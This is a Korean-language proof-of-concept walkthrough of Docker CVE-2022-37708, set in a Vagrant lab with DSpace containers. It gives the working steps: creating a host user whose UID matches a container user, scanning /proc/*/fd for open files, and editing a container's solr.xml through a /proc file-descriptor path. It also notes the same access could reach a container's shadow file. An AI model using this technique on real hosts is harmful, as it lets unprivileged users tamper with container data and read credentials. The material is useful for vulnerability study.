
Docker CVE-2022-37708
Docker CVE-2022-37708.
이 익스플로잇은 Docker를 실행하는 호스트(Host)와 Docker 내부에서 실행되는 클라이언트(Client) 사이에서 Docker가 공유하는 파일에 UNIX 파일시스템이 UID와 GID를 부여하는 방식과, 프로세스 ID 소유권이 작동하는 방식의 특성에 의존합니다.
이 작업은 파일 디스크립터 접근을 제공하는 거의 모든 언어로 수행할 수 있습니다. /proc/ 디렉터리가 이를 노출하므로 셸 명령을 사용해 매우 쉽게 수행할 수 있습니다.
여러 사용자를 위한 이메일 서비스를 제공하는 컴퓨터를 생각해 봅시다. 이 이메일 서비스는 호스트에서 Docker 내부에 실행되는 자체 포함(self-contained) 배포판 안에서 실행됩니다. 이 자체 포함 배포판을 "클라이언트 시스템"이라고 간주합니다. Docker가 실행 중인 시스템을 "호스트 시스템"이라고 간주합니다. "호스트 시스템"에는 메시지 버스를 제공하는 "DBUS"와 같은 다양한 서비스가 있습니다. 보안상의 이유로 "DBUS" 메시지 버스는 권한이 없는 사용자 "messagebus"로 실행되며 UID 123을 갖습니다. "messagebus" 사용자는 Docker에 접근할 수 없으며 "클라이언트 시스템"에도 접근할 수 없습니다. 보안상의 이유로 "클라이언트 시스템"은 이메일 처리를 비-root 사용자 "emailservice"로 실행하며 UID 123을 갖습니다. "messagebus"에 UID 123을, "emailservice"에도 UID 123을 지정한 점에 주목하십시오. 이는 일반적으로 문제가 되지 않습니다. 두 시스템("클라이언트 시스템"과 "호스트 시스템")은 서로 분리되어 있으며, 이들의 UID와 사용자 매핑은 서로 아무런 관계가 없기 때문입니다. "emailservice"가 처리할 임의의 이메일을 여는 순간, "messagebus"는 그 파일을 보고 편집할 기회를 갖게 됩니다. "messagebus" 사용자는 "클라이언트 시스템" 외부에 완전히 있기 때문에, "클라이언트 시스템"은 이 파일이 잠재적으로 읽히고 쓰여질 수 있다는 사실을 전혀 알 수 없습니다. "emailservice"가 일부 사용자 이름과 비밀번호 조합을 검증하기 위해 시스템의 shadow 파일을 읽는다면 이는 훨씬 더 위험할 수 있습니다. 그러면 "messagebus"는 해당 파일이 "클라이언트 시스템" 내에서 열려 있는 시간 동안 "클라이언트 시스템" 내의 shadow 파일에 대한 완전한 읽기 및 쓰기 접근 권한을 갖게 됩니다.
익스플로잇을 수행하는 쉬운 방법은 /proc/ 디렉터리에서 pid 파일을 PID 다이얼링하는 것입니다.
무한 루프의 간단한 bash 스크립트로 열려 있는 파일을 주기적으로 찾을 수 있습니다.
for i in /proc/* ; do if [[ -d $i/fd ]] ; then ls -lh $i/fd ; fi ; done
이 익스플로잇을 어렵게 만드는 두 가지 중요한 요소가 있습니다.
첫 번째 경우는 무한 루프와 약간의 스크립트 마법으로 완화할 수 있습니다. 두 번째 경우는 특별히 제작된 배포판이나 널리 알려진 배포판을 사용하면 운 요소를 배제할 수 있습니다. 시스템에 미리 정의된 UID가 있다면 "클라이언트 시스템" 외부에서 필요한 UID가 무엇인지 예측할 수 있어야 합니다.
"호스트 시스템"으로 실행할 Vagrant Debian-10(Buster) 가상 머신을 사용하여 익스플로잇을 테스트합니다:
Vagrant.configure("2") do |config|
config.vm.box = "generic/debian10"
config.vm.provider "virtualbox" do |vb|
vb.memory = 4096
vb.cpus = 2
vb.name = "Wargames"
end
config.vm.synced_folder "/tmp/files", "/host"
end
"호스트 시스템" 내부에서 최신 버전의 Docker를 설치하고 여기의 지침을 따르십시오:
예제 "클라이언트 시스템"은 Github에서 호스팅되는 오픈소스 제품인 DSpace로, docker-compose 파일을 제공합니다:
이제 DSpace를 클론하고 docker compose를 실행합니다:
# git clone https://github.com/DSpace/DSpace.git
# cd DSpace
# docker compose up
이 프로젝트에서 생성되는 이미지는 여러 개이지만, "dspace_solr_data"에 초점을 맞추겠습니다.
디렉터리 트래버설이 보호되는지 확인해 봅시다:
# sudo ls -ld /var/lib/docker
drwx--x--- 15 root root 4096 May 6 13:49 /var/lib/docker
익스플로잇하려는 파일을 살펴봅시다:
# sudo find /var/lib/docker/volumes/ -name solr.xml
/var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
/var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 8983 root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
이는 운 좋은 사용자가 이를 악용하려면 UID 8983을 가지고 있어야 한다는 것을 알려줍니다.
이 운 좋은 사용자를 생성하고 그를 "Lightman"이라고 부릅시다.
# sudo useradd -u 8983 -d /home/Lightman/ -m Lightman
이제 그 파일들을 살펴봅시다:
# sudo ls -ld $(sudo find /var/lib/docker/volumes/ -name solr.xml)
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/0a6232a5c6df8c4a6c2f1925bb1fc0fd8430523aac37ced46d3ee75b5ef4b70e/_data/data/solr.xml
-rw-rw---- 1 Lightman root 2427 Apr 25 20:59 /var/lib/docker/volumes/dspace_solr_data/_data/solr.xml
Lightman이 이를 악용하려면 Lightman이 파일을 소유해야 할 뿐만 아니라, "클라이언트 시스템" __내부__의 어떤 프로세스가 해당 파일을 열고 있어야 합니다.
이 익스플로잇을 증명하기 위해 "클라이언트 시스템" 내부의 solr.xml 파일에 tail -F를 사용하겠습니다.
별도의 터미널에서 vagrant 사용자로 "호스트 머신"에 로그인한 상태에서 이 작업을 수행하십시오.
올바른 컨테이너를 확인합니다:
# docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
...
c4b06050ef46 solr:8.11-slim "/bin/bash -c 'init-…" 11 minutes ago Up 11 minutes 0.0.0.0:8983->8983/tcp dspacesolr
이제 solr:8.11-slim에 연결합니다.
# docker run -it solr:8.11-slim bash
# id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr 사용자는 실제로 UID 8983을 가지고 있습니다.
이제 solr.xml 파일을 열고 계속 열어 둡니다.
# tail -F /var/solr/data/solr.xml
좋습니다. 이제 이 Lightman 사용자가 파일 디스크립터를 워 다이얼링할 수 있는 모든 준비가 완료되었습니다.
별도의 터미널에서 vagrant 사용자로 "호스트 시스템"에 로그인한 후, Lightman 사용자로 전환합니다.
# sudo su - Lightman
# id
uid=8983(Lightman) gid=8983(Lightman) groups=8983(Lightman)
/proc를 사용하여 열려 있는 모든 파일 디스크립터를 다이얼링합니다:
# ls /proc/*/fd/* -ld
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:17 /proc/12622/fd/2 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12622/fd/255 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/0 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/1 -> /dev/pts/0
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/2 -> /dev/pts/0
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/10 -> /dev/tty
lrwx------ 1 Lightman Lightman 64 May 6 14:22 /proc/12728/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/self/fd/2 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/0 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/1 -> /dev/pts/3
lrwx------ 1 Lightman Lightman 64 May 6 14:23 /proc/thread-self/fd/2 -> /dev/pts/3
보시다시피, 두 개의 일치 항목이 있습니다:
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/3 -> /var/solr/data/solr.xml
lr-x------ 1 Lightman Lightman 64 May 6 14:22 /proc/12683/fd/4 -> anon_inode:inotify
/var/solr/data/solr.xml 경로는 실제로 "호스트 시스템"에는 존재하지 않는다는 점에 주목하십시오.
이 작업을 수행하는 동안 tail -F를 실행 중인 터미널을 주의 깊게 살펴보십시오.
proc 경로를 통해 파일을 직접 열어 편집합니다:
# vim /proc/12683/fd/3
파일 맨 아래로 이동하여 Hello World를 작성하고 변경 사항을 저장합니다.
"클라이언트 시스템" 내에서도 파일이 업데이트되는 것을 확인할 수 있을 것입니다.
Lightman은 적절한 읽기/쓰기 접근 권한도, 어떠한 디렉터리 트래버설 접근 권한도 없는 파일을 성공적으로 편집했습니다. 이 파일은 실제로 "Lightman" 사용자가 존재하지 않는 다른 배포판에서 실행되는 Docker 클라이언트 내부에 있습니다.